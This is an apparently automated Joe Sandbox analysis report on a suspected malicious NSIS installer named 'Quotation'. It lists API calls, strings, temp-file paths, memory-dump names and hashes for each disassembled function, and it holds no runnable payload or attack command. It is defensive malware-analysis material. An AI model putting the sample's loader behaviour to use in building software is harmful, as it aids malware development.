lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,00000000,?,?), ref: 00405D4A
lstrlenW.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,00000000,?,?), ref: 00405D5C
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,?,Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,00000000,?,?), ref: 00405D77
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll), ref: 00405D8F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405DB6
SendMessageW.USER32(?,0000104D,00000000,?), ref: 00405DD1
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405DDE

Part of subcall function 00405E98: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,?,?), ref: 0040604E

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll, xrefs: 00405D35, 00405D43, 00405D49, 00405D71, 00405D76, 00405D7E, 00405D88

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$TextWindow
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll
API String ID: 1759915248-1691272624
Opcode ID: b3a3bffc108da763a0d5830401e4444f920c759f89e848b3eba3191ccd966a9d
Instruction ID: eb00d4876afd5f62942919e2a46038e7a2417e41af97232aca8a81e0ace8ac77
Opcode Fuzzy Hash: b3a3bffc108da763a0d5830401e4444f920c759f89e848b3eba3191ccd966a9d
Instruction Fuzzy Hash: C7212672A056206BC310AF598D44E5BBBDCFF95310F04443FF988B3291C7B89D018BAA

Function 00403148 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004031B6
GetTickCount.KERNEL32 ref: 00403248
MulDiv.KERNEL32(?,00000064,?), ref: 00403278
wsprintfW.USER32 ref: 00403289

Part of subcall function 00403131: SetFilePointer.KERNELBASE(?,00000000,00000000,004035B5,?), ref: 0040313F

Strings

... %d%%, xrefs: 00403283
<Py, xrefs: 0040321B

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CountTick$FilePointerwsprintf
String ID: ... %d%%$<Py
API String ID: 999035486-2352372732
Opcode ID: de52eb9ac16236f3fca6093ce857b7e1a1bc104f410f064c541848c7e306c8f4
Instruction ID: cddf24be581f0244f3449d1f5e961e9f445dbb2a95aafc889e314ca9340d81f7
Opcode Fuzzy Hash: de52eb9ac16236f3fca6093ce857b7e1a1bc104f410f064c541848c7e306c8f4
Instruction Fuzzy Hash: FD519F702083028BD710DF29DE85B2B7BE8AB84756F14093EFC54F22D1DB38DA048B5A

Function 0040617C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406193
wsprintfW.USER32 ref: 004061CF
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E3

Strings

\, xrefs: 004061A4
%s%S.dll, xrefs: 004061C9
UXTHEME, xrefs: 0040618B

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction ID: a4cd9840ceca3203298f5f6208b2692cfaa140b5cc7ad0efff7adaa08ca45ff7
Opcode Fuzzy Hash: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction Fuzzy Hash: CEF0BB7190161457D710B764DE0DB9A367CEB10304F54447A6646F62C1EB7C9A54C79C

Function 00406A34 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406A50
GetTempFileNameW.KERNELBASE(?,0073006E,00000000,?,?,?,00000000,00403CB2,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406A6B

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00406A3D
a, xrefs: 00406A49
C:\Users\user\AppData\Local\Temp\, xrefs: 00406A39
n, xrefs: 00406A42

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$Error writing temporary file. Make sure your temp folder is valid.$a$n
API String ID: 1716503409-3489432095
Opcode ID: 42452896a03faa5c12687f234f03a62933820c93469ae2d29fedaba6baed2be8
Instruction ID: 42be8ac81fa96e2418e52fe12c64c606f0e7da939330081f96b146de974569e0
Opcode Fuzzy Hash: 42452896a03faa5c12687f234f03a62933820c93469ae2d29fedaba6baed2be8
Instruction Fuzzy Hash: EDF05E72700208BBEB149F85DD09BEF7769EF91B10F15807BE945BA180E6B05E9487A4

Function 004068C4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EE,0000000B), ref: 004068D2
GetProcAddress.KERNEL32(00000000), ref: 004068EE

Part of subcall function 0040617C: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406193
Part of subcall function 0040617C: wsprintfW.USER32 ref: 004061CF
Part of subcall function 0040617C: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E3

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 004068C5
UXTHEME, xrefs: 004068C4, 004068D1, 004068DC

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: Error writing temporary file. Make sure your temp folder is valid.$UXTHEME
API String ID: 2547128583-890815371
Opcode ID: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction ID: cca553acf36b1fe6902a80dcde2ed56f94a70d609a724c5234c7087bacb34bc4
Opcode Fuzzy Hash: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction Fuzzy Hash: FDD02B331022159BC7002F22AE0894F776DEF66350701403BF541F2230EB38C82295FD

Function 00405E1C Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 00405E5D
GetLastError.KERNEL32 ref: 00405E67
SetFileSecurityW.ADVAPI32(?,80000007,?), ref: 00405E80
GetLastError.KERNEL32 ref: 00405E8E

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c4ec091984c90c0ed15a9be6932df6b8cec91024cb801c9daff41168a069ff59
Instruction ID: c5276d81fc3706eb17032c67a8bd40c2bbffd7631990a047acf891ba11bc5777
Opcode Fuzzy Hash: c4ec091984c90c0ed15a9be6932df6b8cec91024cb801c9daff41168a069ff59
Instruction Fuzzy Hash: 39011A74D00609DFDB109FA0DA44BAE7BB4EB04315F10443AD949F6190D77886488F99

Function 00406955 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,?,?,?,?,Call,00000000,00000000,00000002,00405F9C), ref: 0040699C
RegCloseKey.KERNELBASE(?), ref: 004069A7

Strings

Call, xrefs: 0040695A

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 76b6ba2905dba72e0879de14cdf3f2fb9278ac09f103d2f047db2673b29e615b
Instruction ID: 1ae9e56a03760404e91669882a34a602e62d6bc2f034f3a498143100352ea1f7
Opcode Fuzzy Hash: 76b6ba2905dba72e0879de14cdf3f2fb9278ac09f103d2f047db2673b29e615b
Instruction Fuzzy Hash: F6015EB652010AABDF218FA4DD06EEF7BA8EF44354F110136F905E2260E334DA64DB94

Function 00405DFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,00000000,C:\Users\user\AppData\Local\Temp\,00403CA7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00405E04
GetLastError.KERNEL32 ref: 00405E0E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DFC

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1375471231-297319885
Opcode ID: 0648b17569fc2713f910b90d2ba9bcc6c5026819f2e8f4ff2f6a8f9bab12dfc5
Instruction ID: 1d45a01f7acee8fa23fe776dff3dd1d011af88d7d8ca29917c3c3e776444c4f1
Opcode Fuzzy Hash: 0648b17569fc2713f910b90d2ba9bcc6c5026819f2e8f4ff2f6a8f9bab12dfc5
Instruction Fuzzy Hash: 74C012326000309BC7602B65AE08A87BE94EB506A13068239B988E2220DA308C54CAE8

Function 7002167A Relevance: 4.6, APIs: 3, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 70022351: GlobalFree.KERNEL32(?), ref: 70022A44
Part of subcall function 70022351: GlobalFree.KERNEL32(?), ref: 70022A4A
Part of subcall function 70022351: GlobalFree.KERNEL32(?), ref: 70022A50

GlobalFree.KERNEL32(00000000), ref: 70021738
FreeLibrary.KERNEL32(?), ref: 700217C3
GlobalFree.KERNEL32(00000000), ref: 700217E9

Part of subcall function 70021FCB: GlobalAlloc.KERNEL32(00000040,?), ref: 70021FFA

Part of subcall function 700217F7: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,70021708,00000000), ref: 7002189A

Part of subcall function 70021F1E: wsprintfW.USER32 ref: 70021F51

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-0
Opcode ID: 9ce89e61440179cb6e749ad94ad8171360b05b0ca1aaf4e4cb985fff4bcb6601
Instruction ID: be55c39df0921b966c114d36cc37567fb3b7bdd9f064ac6c709c36b544e3c3da
Opcode Fuzzy Hash: 9ce89e61440179cb6e749ad94ad8171360b05b0ca1aaf4e4cb985fff4bcb6601
Instruction Fuzzy Hash: E841B432404248AED7709F64FC85BDE37FEBBA0B33F204019F94E56252DB756985C650

Function 00401399 Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00007530,00000000), ref: 004013F9
SendMessageW.USER32(?,00000402,00000000), ref: 00401409

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 21554dfdf2296733f6a7aae3810b83fc303a9337ac7eb4ef6af54ee552a22d80
Instruction ID: 15b31486c92c371a01b824ec8c308dd00c5fb3f6de234e3455dc008c55755f60
Opcode Fuzzy Hash: 21554dfdf2296733f6a7aae3810b83fc303a9337ac7eb4ef6af54ee552a22d80
Instruction Fuzzy Hash: 2A01D472E542309BD7196F28AC09B2A2699A7C1711F15893EF901F72F1E6B89D01879C

Function 00406616 Relevance: 3.0, APIs: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406AF8: lstrcpynW.KERNEL32(?,?,00000400,0040384F,007A7540,NSIS Error), ref: 00406B05

Part of subcall function 00406BA3: CharNextW.USER32(?,?,?,00000000,007A4288,0040662D,007A4288,007A4288,?,?,?,00406719,?,00000000,76F93420,?), ref: 00406BB2
Part of subcall function 00406BA3: CharNextW.USER32(00000000), ref: 00406BB7
Part of subcall function 00406BA3: CharNextW.USER32(00000000), ref: 00406BD1

Part of subcall function 00406D1B: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406D90
Part of subcall function 00406D1B: CharNextW.USER32(?,?,?,00000000), ref: 00406D9F
Part of subcall function 00406D1B: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406DA4
Part of subcall function 00406D1B: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406DBC

lstrlenW.KERNEL32(007A4288,00000000,007A4288,007A4288,?,?,?,00406719,?,00000000,76F93420,?), ref: 0040666A
GetFileAttributesW.KERNELBASE(007A4288,007A4288), ref: 0040667B

Part of subcall function 004065AD: FindFirstFileW.KERNELBASE(?,007A5E88,00000000,0040665A,007A4288), ref: 004065B8
Part of subcall function 004065AD: FindClose.KERNEL32(00000000), ref: 004065C4

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Char$Next$FileFind$AttributesCloseFirstPrevlstrcpynlstrlen
String ID:
API String ID: 1879705256-0
Opcode ID: 3b9d5aeb4753024ac2323fedf4887ec0200a7770af3d0f5eda4629e85134c37a
Instruction ID: a0caebe489df7e9b8c47fc78556c087e467958ed1b806a88a2837ae242d5d264
